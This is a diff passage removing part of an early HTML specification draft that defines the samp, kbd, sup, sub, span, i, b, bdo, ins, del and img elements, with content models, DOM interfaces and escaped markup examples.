-    href="#strictly">strictly inline-level content</a>.
-
-   <dd>Otherwise: any <a href="#inline-level1">inline-level content</a>.
-
-   <dt>Element-specific attributes:
-
-   <dd>None, but the <code title=attr-title><a
-    href="#title1">title</a></code> attribute has special semantics on this
-    element when used with the <code><a href="#dfn0">dfn</a></code> element.
-
-   <dt>Predefined classes that apply to this element:
-
-   <dd>None.
-
-   <dt>DOM interface:
-
-   <dd>No difference from <code><a
-    href="#htmlelement">HTMLElement</a></code>.
-  </dl>
-
-  <p>The <code><a href="#samp0">samp</a></code> element represents (sample)
-   output from a program or computing system.
-
-  <p class=note>See the <code><a href="#pre0">pre</a></code> and <code><a
-   href="#kbd0">kbd</a></code> elements for more detais.
-
-  <div class=example>
-   <p>This example shows the <code><a href="#samp0">samp</a></code> element
-    being used inline:</p>
-
-   <pre>AMPERSANDlt;p>The computer said AMPERSANDlt;samp>Too much cheese in tray
-twoAMPERSANDlt;/samp> but I didn't know what that meant.AMPERSANDlt;/p></pre>
-
-   <p>This second example shows a block of sample output. Nested <code><a
-    href="#samp0">samp</a></code> and <code><a href="#kbd0">kbd</a></code>
-    elements allow for the styling of specific elements of the sample output
-    using a style sheet.</p>
-   <!-- XXX should those nested SAMPs be SPANs? -->
-   <pre>AMPERSANDlt;pre>AMPERSANDlt;samp>AMPERSANDlt;samp class="prompt">jdoe@mowmow:~$AMPERSANDlt;/samp> AMPERSANDlt;kbd>ssh demo.example.comAMPERSANDlt;/kbd>
-Last login: Tue Apr 12 09:10:17 2005 from mowmow.example.com on pts/1
-Linux demo 2.6.10-grsec+gg3+e+fhs6b+nfs+gr0501+++p3+c4a+gr2b-reslog-v6.189 #1 SMP Tue Feb 1 11:22:36 PST 2005 i686 unknown
-
-AMPERSANDlt;samp class="prompt">jdoe@demo:~$AMPERSANDlt;/samp> AMPERSANDlt;samp class="cursor">_AMPERSANDlt;/samp>AMPERSANDlt;/samp>AMPERSANDlt;/pre></pre>
-  </div>
-
-  <h4 id=the-kbd><span class=secno>3.12.16. </span>The <dfn
-   id=kbd0><code>kbd</code></dfn> element</h4>
-
-  <p><a href="#strictly">Strictly inline-level content</a>.
-
-  <dl class=element>
-   <dt>Contexts in which this element may be used:
-
-   <dd>Where <a href="#strictly">strictly inline-level content</a> is
-    allowed.
-
-   <dt>Content model:
-
-   <dd><a href="#strictly">Strictly inline-level content</a>.
-
-   <dt>Element-specific attributes:
-
-   <dd>None.
-
-   <dt>Predefined classes that apply to this element:
-
-   <dd>None.
-
-   <dt>DOM interface:
-
-   <dd>No difference from <code><a
-    href="#htmlelement">HTMLElement</a></code>.
-  </dl>
-
-  <p>The <code><a href="#kbd0">kbd</a></code> element represents user input
-   (typically keyboard input, although it may also be used to represent other
-   input, such as voice commands).
-
-  <p>When the <code><a href="#kbd0">kbd</a></code> element is nested inside a
-   <code><a href="#samp0">samp</a></code> element, it represents the input as
-   it was echoed by the system.
-
-  <p>When the <code><a href="#kbd0">kbd</a></code> element <em>contains</em>
-   a <code><a href="#samp0">samp</a></code> element, it represents input
-   based on system output, for example invoking a menu item.
-
-  <p>When the <code><a href="#kbd0">kbd</a></code> element is nested inside
-   another <code><a href="#kbd0">kbd</a></code> element, it represents an
-   actual key or other single unit of input as appropriate for the input
-   mechanism.
-
-  <div class=example>
-   <p>Here the <code><a href="#kbd0">kbd</a></code> element is used to
-    indicate keys to press:</p>
-
-   <pre>AMPERSANDlt;p>To make George eat an apple, press AMPERSANDlt;kbd>AMPERSANDlt;kbd>ShiftAMPERSANDlt;/kbd>+AMPERSANDlt;kbd>F3AMPERSANDlt;/kbd>AMPERSANDlt;/kbd>AMPERSANDlt;/p></pre>
-
-   <p>In this second example, the user is told to pick a particular menu
-    item. The outer <code><a href="#kbd0">kbd</a></code> element marks up a
-    block of input, with the inner <code><a href="#kbd0">kbd</a></code>
-    elements representing each individual step of the input, and the <code><a
-    href="#samp0">samp</a></code> elements inside them indicating that the
-    steps are input based on something being displayed by the system, in this
-    case menu labels:</p>
-
-   <pre>AMPERSANDlt;p>To make George eat an apple, select
-    AMPERSANDlt;kbd>AMPERSANDlt;kbd>AMPERSANDlt;samp>FileAMPERSANDlt;/samp>AMPERSANDlt;/kbd>|AMPERSANDlt;kbd>AMPERSANDlt;samp>Eat Apple...AMPERSANDlt;/samp>AMPERSANDlt;/kbd>AMPERSANDlt;/kbd>
-AMPERSANDlt;/p></pre>
-  </div>
-
-  <h4 id=the-sup><span class=secno>3.12.17. </span>The <dfn
-   id=sup0><code>sup</code></dfn> and <dfn id=sub0><code>sub</code></dfn>
-   elements</h4>
-
-  <p><a href="#strictly">Strictly inline-level content</a>.
-
-  <dl class=element>
-   <dt>Contexts in which these elements may be used:
-
-   <dd>Where <a href="#strictly">strictly inline-level content</a> is
-    allowed.
-
-   <dt>Content model:
-
-   <dd><a href="#strictly">Strictly inline-level content</a>.
-
-   <dt>Element-specific attributes:
-
-   <dd>None.
-
-   <dt>Predefined classes that apply to this element:
-
-   <dd>None.
-
-   <dt>DOM interface:
-
-   <dd>No difference from <code><a
-    href="#htmlelement">HTMLElement</a></code>.
-  </dl>
-
-  <p>The <code><a href="#sup0">sup</a></code> element represents a
-   superscript and the <code><a href="#sub0">sub</a></code> element
-   represents a subscript.
-
-  <p>These elements must only be used to mark up typographical conventions
-   with specific meanings, not for typographical presentation for
-   presentation's sake. For example, it would be inappropriate for the
-   <code><a href="#sup0">sup</a></code> and <code><a
-   href="#sub0">sub</a></code> elements to be used in the name of the LaTeX
-   document preparation system. In general, authors should not use these
-   elements if the <em>absence</em> of those elements would not change the
-   meaning of the content.
-
-  <p>When the <code><a href="#sub0">sub</a></code> element is used inside a
-   <code><a href="#var0">var</a></code> element, it represents the subscript
-   that identifies the variable in a family of variables.
-
-  <div class=example>
-   <pre>AMPERSANDlt;p>The coordinate of the AMPERSANDlt;var>iAMPERSANDlt;/var>th point is
-(AMPERSANDlt;var>xAMPERSANDlt;sub>AMPERSANDlt;var>iAMPERSANDlt;/var>AMPERSANDlt;/sub>AMPERSANDlt;/var>, AMPERSANDlt;var>yAMPERSANDlt;sub>AMPERSANDlt;var>iAMPERSANDlt;/var>AMPERSANDlt;/sub>AMPERSANDlt;/var>).
-For example, the 10th point has coordinate
-(AMPERSANDlt;var>xAMPERSANDlt;sub>10AMPERSANDlt;/sub>AMPERSANDlt;/var>, AMPERSANDlt;var>yAMPERSANDlt;sub>10AMPERSANDlt;/sub>AMPERSANDlt;/var>).AMPERSANDlt;/p></pre>
-  </div>
-
-  <p>In certain languages, superscripts are part of the typographical
-   conventions for some abbreviations.
-
-  <div class=example>
-   <pre>AMPERSANDlt;p>The most beautiful women are
-AMPERSANDlt;span lang="fr">AMPERSANDlt;abbr>MAMPERSANDlt;sup>lleAMPERSANDlt;/sup>AMPERSANDlt;/abbr> GwendolineAMPERSANDlt;/span> and 
-AMPERSANDlt;span lang="fr">AMPERSANDlt;abbr>MAMPERSANDlt;sup>meAMPERSANDlt;/sup>AMPERSANDlt;/abbr> DeniseAMPERSANDlt;/span>.AMPERSANDlt;/p></pre>
-  </div>
-
-  <p>Mathematical expressions often use subscripts and superscripts.
-   <!--Authors are encouraged to use MathML for marking up mathematics, but
-  authors may opt to use <code>sub</code> and <code>sup</code> if
-  detailed mathematical markup is not desired. <a
-  href="#refsMathML">[MathML]</a>--></p>
-  <!-- XXXX -->
-
-  <div class=example>
-   <pre>AMPERSANDlt;var>EAMPERSANDlt;/var>=AMPERSANDlt;var>mAMPERSANDlt;/var>AMPERSANDlt;var>cAMPERSANDlt;/var>AMPERSANDlt;sup>2AMPERSANDlt;/sup></pre>
-
-   <pre>f(AMPERSANDlt;var>xAMPERSANDlt;/var>, AMPERSANDlt;var>nAMPERSANDlt;/var>) = logAMPERSANDlt;sub>4AMPERSANDlt;/sub>AMPERSANDlt;var>xAMPERSANDlt;/var>AMPERSANDlt;sup>AMPERSANDlt;var>nAMPERSANDlt;/var>AMPERSANDlt;/sup></pre>
-  </div>
-
-  <h4 id=the-span><span class=secno>3.12.18. </span>The <dfn
-   id=span0><code>span</code></dfn> element</h4>
-
-  <p><a href="#strictly">Strictly inline-level content</a>.
-
-  <dl class=element>
-   <dt>Contexts in which this element may be used:
-
-   <dd>Where <a href="#strictly">strictly inline-level content</a> is
-    allowed.
-
-   <dt>Content model:
-
-   <dd>When used in an element whose content model is only <a
-    href="#strictly">strictly inline-level content</a>: only <a
-    href="#strictly">strictly inline-level content</a>.
-
-   <dd>Otherwise: any <a href="#inline-level1">inline-level content</a>.
-
-   <dt>Element-specific attributes:
-
-   <dd>None, but the <code title=attr-title><a
-    href="#title1">title</a></code> attribute has special semantics on this
-    element when used with the <code><a href="#dfn0">dfn</a></code> element.
-
-   <dt>Predefined classes that apply to this element:
-
-   <dd><code title=class-copyright><a
-    href="#copyright0">copyright</a></code>, <code title=class-error><a
-    href="#error0">error</a></code>, <code title=class-example><a
-    href="#example1">example</a></code>, <code title=class-issue><a
-    href="#issue0">issue</a></code>, <code title=class-note><a
-    href="#note0">note</a></code>, <code title=class-search><a
-    href="#search1">search</a></code>, <code title=class-warning><a
-    href="#warning0">warning</a></code>
-
-   <dt>DOM interface:
-
-   <dd>No difference from <code><a
-    href="#htmlelement">HTMLElement</a></code>.
-  </dl>
-
-  <p>The <code><a href="#span0">span</a></code> element doesn't mean anything
-   on its own, but can be useful when used together with other attributes,
-   e.g. <code title=attr-class><a href="#class6">class</a></code>, <code
-   title=attr-lang><a href="#lang0">lang</a></code>, or <code
-   title=attr-dir><a href="#dir0">dir</a></code>, or when used in conjunction
-   with the <code><a href="#dfn0">dfn</a></code> element.</p>
-  <!-- XXX need examples -->
-
-  <h4 id=the-i><span class=secno>3.12.19. </span>The <dfn
-   id=i0><code>i</code></dfn> element</h4>
-
-  <p><a href="#strictly">Strictly inline-level content</a>.
-
-  <dl class=element>
-   <dt>Contexts in which this element may be used:
-
-   <dd>Where <a href="#strictly">strictly inline-level content</a> is
-    allowed.
-
-   <dt>Content model:
-
-   <dd><a href="#strictly">Strictly inline-level content</a>.
-
-   <dt>Element-specific attributes:
-
-   <dd>None, but the <code title=attr-title><a
-    href="#title1">title</a></code> attribute has special semantics on this
-    element when used with the <code><a href="#dfn0">dfn</a></code> element.
-
-   <dt>Predefined classes that apply to this element:
-
-   <dd>None.</dd>
-   <!-- XXX ship? name? dream? -->
-
-   <dt>DOM interface:
-
-   <dd>No difference from <code><a
-    href="#htmlelement">HTMLElement</a></code>.
-  </dl>
-
-  <p>The <code><a href="#i0">i</a></code> element represents a span of text
-   in an alternate voice or mood, or otherwise offset from the normal prose,
-   such as a taxonomic designation, a technical term, an idiomatic phrase
-   from another language, a thought, a ship name, or some other prose whose
-   typical typographic presentation is italicized.
-
-  <p>Terms in languages different from the main text should be annotated with
-   <code title=attr-lang><a href="#lang0">lang</a></code> attributes (<code
-   title=attr-xml-lang><a href="#xmllang0">xml:lang</a></code> in XML).
-
-  <div class=example>
-   <p>The examples below show uses of the <code><a href="#i0">i</a></code>
-    element:</p>
-
-   <pre>AMPERSANDlt;p>The AMPERSANDlt;i>felis silvestris catusAMPERSANDlt;/i> is cute.AMPERSANDlt;/p>
-AMPERSANDlt;p>The AMPERSANDlt;i>block-level elementsAMPERSANDlt;/i> are defined above.AMPERSANDlt;/p>
-AMPERSANDlt;p>There is a certain AMPERSANDlt;i lang="fr">je ne sais quoiAMPERSANDlt;/i> in the air.AMPERSANDlt;/p></pre>
-
-   <p>In the following example, a dream sequence is marked up using <code><a
-    href="#i0">i</a></code> elements.</p>
-
-   <pre>AMPERSANDlt;p>Raymond tried to sleep.AMPERSANDlt;/p>
-AMPERSANDlt;p>AMPERSANDlt;i>The ship sailed away on ThursdayAMPERSANDlt;/i>, he
-dreamt. AMPERSANDlt;i>The ship had many people aboard, including a beautiful
-princess called Carey. He watched her, day-in, day-out, hoping she
-would notice him, but she never did.AMPERSANDlt;/i>AMPERSANDlt;/p>
-AMPERSANDlt;p>AMPERSANDlt;i>Finally one night he picked up the courage to speak with
-herAMPERSANDmdash;AMPERSANDlt;/i>AMPERSANDlt;/p>
-AMPERSANDlt;p>Raymond woke with a start as the fire alarm rang out.AMPERSANDlt;/p></pre>
-  </div>
-
-  <p>The <code><a href="#i0">i</a></code> element should be used as a last
-   resort when no other element is more appropriate. In particular, citations
-   should use the <code><a href="#cite3">cite</a></code> element, defining
-   instances of terms should use the <code><a href="#dfn0">dfn</a></code>
-   element, stress emphasis should use the <code><a href="#em0">em</a></code>
-   element, importance should be denoted with the <code><a
-   href="#strong0">strong</a></code> element, quotes should be marked up with
-   the <code><a href="#q0">q</a></code> element, and small print should use
-   the <code><a href="#small0">small</a></code> element.
-
-  <p class=note>Style sheets can be used to format <code><a
-   href="#i0">i</a></code> elements, just like any other element can be
-   restyled. Thus, it is not the case that content in <code><a
-   href="#i0">i</a></code> elements will necessarily be italicised.
-
-  <h4 id=the-b><span class=secno>3.12.20. </span>The <dfn
-   id=b0><code>b</code></dfn> element</h4>
-
-  <p><a href="#strictly">Strictly inline-level content</a>.
-
-  <dl class=element>
-   <dt>Contexts in which this element may be used:
-
-   <dd>Where <a href="#strictly">strictly inline-level content</a> is
-    allowed.
-
-   <dt>Content model:
-
-   <dd><a href="#strictly">Strictly inline-level content</a>.
-
-   <dt>Element-specific attributes:
-
-   <dd>None.
-
-   <dt>Predefined classes that apply to this element:
-
-   <dd>None.
-
-   <dt>DOM interface:
-
-   <dd>No difference from <code><a
-    href="#htmlelement">HTMLElement</a></code>.
-  </dl>
-
-  <p>The <code><a href="#b0">b</a></code> element represents a span of text
-   to be stylistically offset from the normal prose without conveying any
-   extra importance, such as key words in a document abstract, product names
-   in a review, or other spans of text whose typical typographic presentation
-   is boldened.
-
-  <div class=example>
-   <p>The following example shows a use of the <code><a
-    href="#b0">b</a></code> element to highlight key words without marking
-    them up as important:</p>
-
-   <pre>AMPERSANDlt;p>The AMPERSANDlt;b>frobonitorAMPERSANDlt;/b> and AMPERSANDlt;b>barbinatorAMPERSANDlt;/b> components are fried.AMPERSANDlt;/p>
-   </pre>
-
-   <p>The following would be <em>incorrect</em> usage:</p>
-
-   <pre>AMPERSANDlt;p>AMPERSANDlt;b>WARNING!AMPERSANDlt;/b> Do not frob the barbinator!AMPERSANDlt;/p>
-   </pre>
-
-   <p>In the previous example, the correct element to use would have been
-    <code><a href="#strong0">strong</a></code>, not <code><a
-    href="#b0">b</a></code>.</p>
-
-   <p>In the following example, objects in a text adventure are highlighted
-    as being special by use of the <code><a href="#b0">b</a></code> element.</p>
-
-   <pre>AMPERSANDlt;p>You enter a small room. Your AMPERSANDlt;b>swordAMPERSANDlt;/b> glows
-brighter. A AMPERSANDlt;b>ratAMPERSANDlt;/b> scurries past the corner wall.AMPERSANDlt;/p></pre>
-  </div>
-
-  <p>The <code><a href="#b0">b</a></code> element should be used as a last
-   resort when no other element is more appropriate. In particular, headers
-   should use the <code><a href="#h10">h1</a></code> to <code><a
-   href="#h60">h6</a></code> elements, stress emphasis should use the
-   <code><a href="#em0">em</a></code> element, importance should be denoted
-   with the <code><a href="#strong0">strong</a></code> element, and text
-   marked or highlighted should use the <code><a href="#m0">m</a></code>
-   element.
-
-  <p class=note>Style sheets can be used to format <code><a
-   href="#b0">b</a></code> elements, just like any other element can be
-   restyled. Thus, it is not the case that content in <code><a
-   href="#b0">b</a></code> elements will necessarily be boldened.
-
-  <h4 id=the-bdo><span class=secno>3.12.21. </span>The <dfn
-   id=bdo0><code>bdo</code></dfn> element</h4>
-
-  <p><a href="#strictly">Strictly inline-level content</a>.
-
-  <dl class=element>
-   <dt>Contexts in which this element may be used:
-
-   <dd>Where <a href="#strictly">strictly inline-level content</a> is
-    allowed.
-
-   <dt>Content model:
-
-   <dd><a href="#strictly">Strictly inline-level content</a>.
-
-   <dt>Element-specific attributes:
-
-   <dd>None, but the <code title=attr-dir><a href="#dir0">dir</a></code>
-    global attribute is required on this element.
-
-   <dt>Predefined classes that apply to this element:
-
-   <dd>None.
-
-   <dt>DOM interface:
-
-   <dd>No difference from <code><a
-    href="#htmlelement">HTMLElement</a></code>.
-  </dl>
-
-  <p>The <code><a href="#bdo0">bdo</a></code> element allows authors to
-   override the Unicode bidi algorithm by explicitly specifying a direction
-   override. <a href="#refsBIDI">[BIDI]</a>
-
-  <p>Authors must specify the <code title=attr-dir><a
-   href="#dir0">dir</a></code> attribute on this element, with the value
-   <code>ltr</code> to specify a left-to-right override and with the value
-   <code>rtl</code> to specify a right-to-left override.
-
-  <p>If the element has the <code title=attr-dir><a
-   href="#dir0">dir</a></code> attribute set to the exact value
-   <code>ltr</code>, then for the purposes of the bidi algorithm, the user
-   agent must act as if there was a U+202D LEFT-TO-RIGHT OVERRIDE character
-   at the start of the element, and a U+202C POP DIRECTIONAL FORMATTING at
-   the end of the element.
-
-  <p>If the element has the <code title=attr-dir><a
-   href="#dir0">dir</a></code> attribute set to the exact value
-   <code>rtl</code>, then for the purposes of the bidi algorithm, the user
-   agent must act as if there was a U+202E RIGHT-TO-LEFT OVERRIDE character
-   at the start of the element, and a U+202C POP DIRECTIONAL FORMATTING at
-   the end of the element.
-
-  <p>The requirements on handling the <code><a href="#bdo0">bdo</a></code>
-   element for the bidi algorithm may be implemented indirectly through the
-   style layer. For example, an HTML+CSS user agent should implement these
-   requirements by implementing the CSS <code>unicode-bidi</code> property.
-   <a href="#refsCSS21">[CSS21]</a></p>
-  <!-- XXX need examples -->
-
-  <h3 id=edits><span class=secno>3.13. </span>Edits</h3>
-
-  <p>The <code><a href="#ins0">ins</a></code> and <code><a
-   href="#del0">del</a></code> elements represent edits to the document.
-
-  <h4 id=the-ins><span class=secno>3.13.1. </span>The <dfn
-   id=ins0><code>ins</code></dfn> element</h4>
-
-  <p><a href="#block-level1" title="block-level elements">Block-level
-   element</a>, and <a href="#strictly">strictly inline-level content</a>.
-
-  <dl class=element>
-   <dt>Contexts in which this element may be used:
-
-   <dd>Where <a href="#block-level1">block-level elements</a> is expected.
-
-   <dd>Where <a href="#strictly">strictly inline-level content</a> is
-    allowed.
-
-   <dt>Content model:
-
-   <dd>When the element is a child of an element with only one content model
-    (i.e. an element that only allows <a href="#strictly">strictly
-    inline-level content</a>, or only allows <a
-    href="#inline-level1">inline-level content</a>, or only allows <a
-    href="#block-level1">block-level elements</a>): same content model as the
-    parent element.
-
-   <dd>Otherwise, when the element is a child of an element that only
-    contains <a href="#inter-element">inter-element whitespace</a>, <code><a
-    href="#ins0">ins</a></code> elements, and <code><a
-    href="#del0">del</a></code> elements: same content model as the parent
-    element, with the additional restriction that if the parent element
-    allows a choice in content models (e.g. block or inline) then if all the
-    children of all the sibling <code><a href="#ins0">ins</a></code> elements
-    were placed directly in the parent element, the document would still be
-    conforming.
-
-   <dd>Otherwise, when the element is a child of an element that is <a
-    href="#determining2" title="Determining if a particular element contains
-    block-level elements or inline-level content">being used as an
-    inline-level content container</a>: <a href="#inline-level1">inline-level
-    content</a>.
-
-   <dd>Otherwise, when the element is a child of an element that is <a
-    href="#determining2" title="Determining if a particular element contains
-    block-level elements or inline-level content">being used as a block-level
-    element container</a>: <a href="#block-level1">block-level elements</a>.
-
-   <dd>Otherwise: zero or more <a href="#block-level1">block-level
-    elements</a>, or <a href="#inline-level1">inline-level content</a> (but
-    not both).
-
-   <dt>Element-specific attributes:
-
-   <dd><code title=attr-mod-cite><a href="#cite4">cite</a></code>
-
-   <dd><code title=attr-mod-datetime><a href="#datetime1">datetime</a></code>
-
-   <dt>Predefined classes that apply to this element:
-
-   <dd>None.
-
-   <dt>DOM interface:
-
-   <dd>Uses the <code><a href="#htmlmodelement">HTMLModElement</a></code>
-    interface.
-  </dl>
-
-  <p>The <code><a href="#ins0">ins</a></code> element represents an addition
-   to the document.
-
-  <p>The <code><a href="#ins0">ins</a></code> element must be used only where
-   <a href="#block-level1">block-level elements</a> or <a
-   href="#strictly">strictly inline-level content</a> can be used.
-
-  <p>An <code><a href="#ins0">ins</a></code> element must only contain
-   content that would still be conformant if all <code><a
-   href="#ins0">ins</a></code> elements were replaced by their contents.
-
-  <div class=example>
-   <p>The following would be syntactically legal:</p>
-
-   <pre>AMPERSANDlt;aside>
- AMPERSANDlt;ins>
-  AMPERSANDlt;p>...AMPERSANDlt;/p>
- AMPERSANDlt;/ins>
-AMPERSANDlt;/aside></pre>
-
-   <p>As would this:</p>
-
-   <pre>AMPERSANDlt;aside>
- AMPERSANDlt;ins>
-  AMPERSANDlt;em>...AMPERSANDlt;/em>
- AMPERSANDlt;/ins>
-AMPERSANDlt;/aside></pre>
-
-   <p>However, this last example would be illegal, as <code><a
-    href="#em0">em</a></code> and <code><a href="#p0">p</a></code> cannot
-    both be used inside an <code><a href="#aside0">aside</a></code> element
-    at the same time:</p>
-
-   <pre>AMPERSANDlt;aside>
- AMPERSANDlt;ins>
-  AMPERSANDlt;p>...AMPERSANDlt;/p>
- AMPERSANDlt;/ins>
- AMPERSANDlt;ins>
-  AMPERSANDlt;em>...AMPERSANDlt;/em>
- AMPERSANDlt;/ins>
-AMPERSANDlt;/aside></pre>
-  </div>
-
-  <h4 id=the-del><span class=secno>3.13.2. </span>The <dfn
-   id=del0><code>del</code></dfn> element</h4>
-
-  <p><a href="#block-level1" title="block-level elements">Block-level
-   element</a>, and <a href="#strictly">strictly inline-level content</a>.
-
-  <dl class=element>
-   <dt>Contexts in which this element may be used:
-
-   <dd>Where <a href="#block-level1">block-level elements</a> is expected.
-
-   <dd>Where <a href="#strictly">strictly inline-level content</a> is
-    allowed.
-
-   <dt>Content model:
-
-   <dd>When the element has a parent: same content model as the parent
-    element.
-
-   <dd>Otherwise: zero or more <a href="#block-level1">block-level
-    elements</a>, or <a href="#inline-level1">inline-level content</a> (but
-    not both).
-
-   <dt>Element-specific attributes:
-
-   <dd><code title=attr-mod-cite><a href="#cite4">cite</a></code>
-
-   <dd><code title=attr-mod-datetime><a href="#datetime1">datetime</a></code>
-
-   <dt>Predefined classes that apply to this element:
-
-   <dd>None.
-
-   <dt>DOM interface:
-
-   <dd>Uses the <code><a href="#htmlmodelement">HTMLModElement</a></code>
-    interface.
-  </dl>
-
-  <p>The <code><a href="#del0">del</a></code> element represents a removal
-   from the document.
-
-  <p>The <code><a href="#del0">del</a></code> element must only contain
-   content that would be allowed inside the parent element (regardless of
-   what the parent element actually contains).
-
-  <div class=example>
-   <p>The following would be syntactically legal:</p>
-
-   <pre>AMPERSANDlt;aside>
- AMPERSANDlt;del>
-  AMPERSANDlt;p>...AMPERSANDlt;/p>
- AMPERSANDlt;/del>
- AMPERSANDlt;ins>
-  AMPERSANDlt;em>...AMPERSANDlt;/em>
- AMPERSANDlt;/ins>
-AMPERSANDlt;/aside></pre>
-
-   <p>...even though the <code><a href="#p0">p</a></code> and <code><a
-    href="#em0">em</a></code> elements would never be allowed side by side in
-    the <code><a href="#aside0">aside</a></code> element. This is allowed
-    because the <code><a href="#del0">del</a></code> element represents
-    content that was removed, and it is quite possible that an edit could
-    cause an element to go from being an inline-level container to a
-    block-level container, or vice-versa.</p>
-  </div>
-
-  <h4 id=attributes><span class=secno>3.13.3. </span>Attributes common to
-   <code><a href="#ins0">ins</a></code> and <code><a
-   href="#del0">del</a></code> elements</h4>
-
-  <p>The <dfn id=cite4 title=attr-mod-cite><code>cite</code></dfn> attribute
-   may be used to specify a URI that explains the change. When that document
-   is long, for instance the minutes of a meeting, authors are encouraged to
-   include a fragment identifier pointing to the specific part of that
-   document that discusses the change.
-
-  <p>If the <code title=attr-mod-cite><a href="#cite4">cite</a></code>
-   attribute is present, it must be a URI (or IRI) that explains the change.
-   User agents should allow users to follow such citation links.
-
-  <p>The <dfn id=datetime1
-   title=attr-mod-datetime><code>datetime</code></dfn> attribute may be used
-   to specify the time and date of the change.
-
-  <p>If present, the <code title=attr-mod-datetime><a
-   href="#datetime1">datetime</a></code> attribute must be a <a
-   href="#valid4">valid datetime</a> value.
-
-  <p>User agents must parse the <code title=attr-mod-datetime><a
-   href="#datetime1">datetime</a></code> attribute according to the <a
-   href="#datetime-parser">parse a string as a datetime value</a> algorithm.
-   If that doesn't return a time, then the modification has no associated
-   timestamp (the value is non-conforming; it is not a <a
-   href="#valid4">valid datetime</a>). Otherwise, the modification is marked
-   as having been made at the given datetime. User agents should use the
-   associated timezone information to determine which timezone to present the
-   given datetime in.
-
-  <p>The <code><a href="#ins0">ins</a></code> and <code><a
-   href="#del0">del</a></code> elements must implement the <code><a
-   href="#htmlmodelement">HTMLModElement</a></code> interface:
-
-  <pre
-   class=idl>interface <dfn id=htmlmodelement>HTMLModElement</dfn> : <a href="#htmlelement">HTMLElement</a> {
-           attribute DOMString <a href="#cite5" title=dom-mod-cite>cite</a>;
-           attribute DOMString <a href="#datetime2" title=dom-mod-datetime>datetime</a>;
-};</pre>
-
-  <p>The <dfn id=cite5 title=dom-mod-cite><code>cite</code></dfn> and <dfn
-   id=datetime2 title=dom-mod-datetime><code>datetime</code></dfn> DOM
-   attributes must reflect the elements' content attributes of the same name.
-
-  <h3 id=embedded><span class=secno>3.14. </span>Embedded content</h3>
-
-  <h4 id=the-img><span class=secno>3.14.1. </span>The <dfn
-   id=img0><code>img</code></dfn> element</h4>
-
-  <p><span title="Strictly inline-level elements">Strictly
-   inline-level</span> <a href="#embedded0">embedded content</a>.
-
-  <dl class=element>
-   <dt>Contexts in which this element may be used:
-
-   <dd>As the only <a href="#embedded0">embedded content</a> child of a
-    <code><a href="#figure0">figure</a></code> element.
-
-   <dd>Where <a href="#strictly">strictly inline-level content</a> is
-    allowed.
-
-   <dt>Content model:
-
-   <dd>Empty.
-
-   <dt>Element-specific attributes:
-
-   <dd><code title=attr-img-alt><a href="#alt">alt</a></code> (required)
-
-   <dd><code title=attr-img-src><a href="#src">src</a></code> (required)
-
-   <dd><code title=attr-hyperlink-usemap><a href="#usemap1">usemap</a></code>
-
-   <dd><code title=attr-img-ismap><a href="#ismap">ismap</a></code> (but only
-    if one of the ancestor elements is an <code><a href="#a0">a</a></code>
-    element)
-
-   <dd><code title=attr-img-height><a href="#height">height</a></code>
-
-   <dd><code title=attr-img-width><a href="#width">width</a></code>
-
-   <dt>Predefined classes that apply to this element:
-
-   <dd>None.
-
-   <dt>DOM interface:
-
-   <dd>
-    <pre
-     class=idl>interface <dfn id=htmlimageelement>HTMLImageElement</dfn> : <a href="#htmlelement">HTMLElement</a> {
-           attribute DOMString <a href="#alt0" title=dom-img-alt>alt</a>;
-           attribute DOMString <a href="#src0" title=dom-img-src>src</a>;
-           attribute DOMString <a href="#usemap" title=dom-img-useMap>useMap</a>;
-           attribute boolean <a href="#ismap0" title=dom-img-isMap>isMap</a>;
-           attribute long <a href="#height0" title=dom-img-height>height</a>;
-           attribute long <a href="#width0" title=dom-img-width>width</a>;
-  readonly attribute boolnean <a href="#complete" title=dom-img-complete>complete</a>;
-};</pre>
-
-    <p class=note>An instance of <code><a
-     href="#htmlimageelement">HTMLImageElement</a></code> can be obtained
-     using the <code title=dom-image><a href="#image0">Image</a></code>
-     constructor.</p>
-  </dl>
-
-  <p>The <code><a href="#img0">img</a></code> element represents a piece of
-   text with an alternate graphical representation. The text is given by the
-   <dfn id=alt title=attr-img-alt><code>alt</code></dfn> attribute, which
-   must be present, and the URI to the graphical representation of that text
-   is given in the <dfn id=src title=attr-img-src><code>src</code></dfn>
-   attribute, which must also be present.
-
-  <p>The image given by the <code title=attr-img-src><a
-   href="#src">src</a></code> attribute is the embedded content, and the
-   value of the <code title=attr-img-alt><a href="#alt">alt</a></code>
-   attribute is the <code><a href="#img0">img</a></code> element's <a
-   href="#fallback">fallback content</a>.
-
-  <p>When the <code title=attr-img-alt><a href="#alt">alt</a></code>
-   attribute's value is the empty string, the image supplements the
-   surrounding content. In such cases, the image could be omitted without
-   affecting the meaning of the document.
-
-  <p>If the <code title=attr-img-alt><a href="#alt">alt</a></code> attribute
-   is omitted, user agents must treat the element as if it had an <code
-   title=attr-img-alt><a href="#alt">alt</a></code> attribute set to the
-   empty string.
-
-  <p>The <code title=attr-img-alt><a href="#alt">alt</a></code> attribute
-   does not represent advisory information. User agents must not present the
-   contents of the <code title=attr-img-alt><a href="#alt">alt</a></code>
-   attribute in the same way as content of the <code title=attr-title><a
-   href="#title1">title</a></code> attribute.
-
-  <p class=big-issue>Guidelines on writing "alt" text here.</p>
-  <!-- http://www.cs.tut.fi/~jkorpela/html/alt.html -->
-
-  <p>The <code title=attr-img-src><a href="#src">src</a></code> attribute
-   must contain a valid URI (or IRI). If the <code title=attr-img-src><a
-   href="#src">src</a></code> attribute is omitted, there is no alternative
-   image representation.
-
-  <p>When the <code title=attr-img-src><a href="#src">src</a></code>
-   attribute is set, the user agent must immediately begin to download the
-   specified
-   resource<!-- XXX xref what fetching means, how to resolve URIs in
-  attributes (including those not in the DOM) -->,
-   unless the user agent cannot support images, or its support for images has
-   been disabled.
-
-  <p>Once the download has completed, if the image is a valid image, the user
-   agent must <a href="#firing4">fire a <code title=event-load>load</code>
-   event</a> on the <code><a href="#img0">img</a></code> element. If the
-   download fails or it completes but the image is not a valid or supported
-   image, the user agent must <a href="#firing5">fire an <code
-   title=event-load>error</code> event</a> on the <code><a
-   href="#img0">img</a></code> element.
-
-  <p>The remote server's response metadata (e.g. an HTTP 404 status code, or
-   <a href="#content-type1" title=Content-Type>associated Content-Type
-   headers</a>) must be ignored when determining whether the resource
-   obtained is a valid image or not.
-
-  <p class=note>This allows servers to return images with error responses.
-
-  <p>User agents must not support non-image resources with the <code><a
-   href="#img0">img</a></code> element.
-
-  <p>The <code title=attr-hyperlink-usemap><a
-   href="#usemap1">usemap</a></code> attribute, if present, can indicate that
-   the image has an associated <a href="#image">image map</a>.
-
